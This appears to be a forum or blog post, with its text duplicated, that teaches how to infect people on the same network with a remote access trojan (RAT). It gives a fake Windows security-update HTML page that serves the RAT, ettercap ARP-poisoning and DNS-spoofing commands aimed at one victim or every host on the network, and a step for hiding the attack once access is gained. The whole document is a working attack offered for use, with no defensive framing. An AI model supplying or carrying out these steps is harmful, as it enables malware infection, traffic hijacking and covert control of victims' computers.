This is how to get someone to download your rat if you're on the same network
This isn't supposed to be some amazing tutorial. I just want to have this so I don't have to keep answering he same damn question over and over again..
Start by downloading backtrack 5 and burning the iso.
Boot into backtrack and open the file browser, and browse to /var/www/. There will be file called index.html.
Open it with kate (or some other text editor) delete the code that is in there and copy in the following code.
Now copy your rat into the same directory and name it windowsupdate.exe
Start apache
open firefox and navigate to 127.0.0.1. Your fake update page should show up.
Now set up the dns_spoofing configuraton
Replace 192.168.1.101 with your own ip (ifconfig)
Use nmap to find your target ip
Now arp-poison with ettercap using the dns_spoof plugin.
replace 192.168.1.102 with your target's ip.
replace 192.168.1.1 with your gateway ip.
replace wlan0 with your interface.
If you want to target everyone on the network you can use the following command.
Now every time they try to navigate to a web page, they will be redirected to your update page.
Some people will be suspicious but after 5 min of not being able to browse, anyone will give in.
Once you get remote access stop ettercap right away and run the following command in the target computer's cmd.
This will let them browse again.
This isn't supposed to be some amazing tutorial. I just want to have this so I don't have to keep answering he same damn question over and over again..
Start by downloading backtrack 5 and burning the iso.
Code:
http://www.remote-exploit.org/backtrack_download.htmlBoot into backtrack and open the file browser, and browse to /var/www/. There will be file called index.html.
Open it with kate (or some other text editor) delete the code that is in there and copy in the following code.
Code:
<body>
<p align="center" class="style2">Critical Vulnerability in Windows
XP, Vista, Windows 2000 detected. Download and installation of upgrade
required. </p>
<p align="center">
<input align="center" type="button" name="Button" value="Download
Update" onClick="window.open('/windowsupdate.exe', 'download'); return
false;">
</p>
<p align="center" class="style2"></p>
<p> </p>
<form id="form1" name="form1" method="post" action="/upgrade.exe">
<label for="D"></label>
</form>
<p align="left" class="style4"> </p>
</body>
</html>Now copy your rat into the same directory and name it windowsupdate.exe
Start apache
Code:
/etc/init.d/apache2 startopen firefox and navigate to 127.0.0.1. Your fake update page should show up.
Now set up the dns_spoofing configuraton
Code:
echo "* A 192.168.1.101" >> /usr/share/ettercap/etter.dnsReplace 192.168.1.101 with your own ip (ifconfig)
Use nmap to find your target ip
Code:
nmap -sP your_subnet/24Now arp-poison with ettercap using the dns_spoof plugin.
Code:
ettercap -T -i wlan0 -M arp:remote /192.168.1.1/ /192.168.1.102/ -P dns_spoofreplace 192.168.1.102 with your target's ip.
replace 192.168.1.1 with your gateway ip.
replace wlan0 with your interface.
If you want to target everyone on the network you can use the following command.
Code:
ettercap -T -i wlan0 -M arp:remote /192.168.1.1/ // -P dns_spoofNow every time they try to navigate to a web page, they will be redirected to your update page.
Some people will be suspicious but after 5 min of not being able to browse, anyone will give in.
Once you get remote access stop ettercap right away and run the following command in the target computer's cmd.
Code:
ipconfig /flushdnsThis will let them browse again.
Post a Comment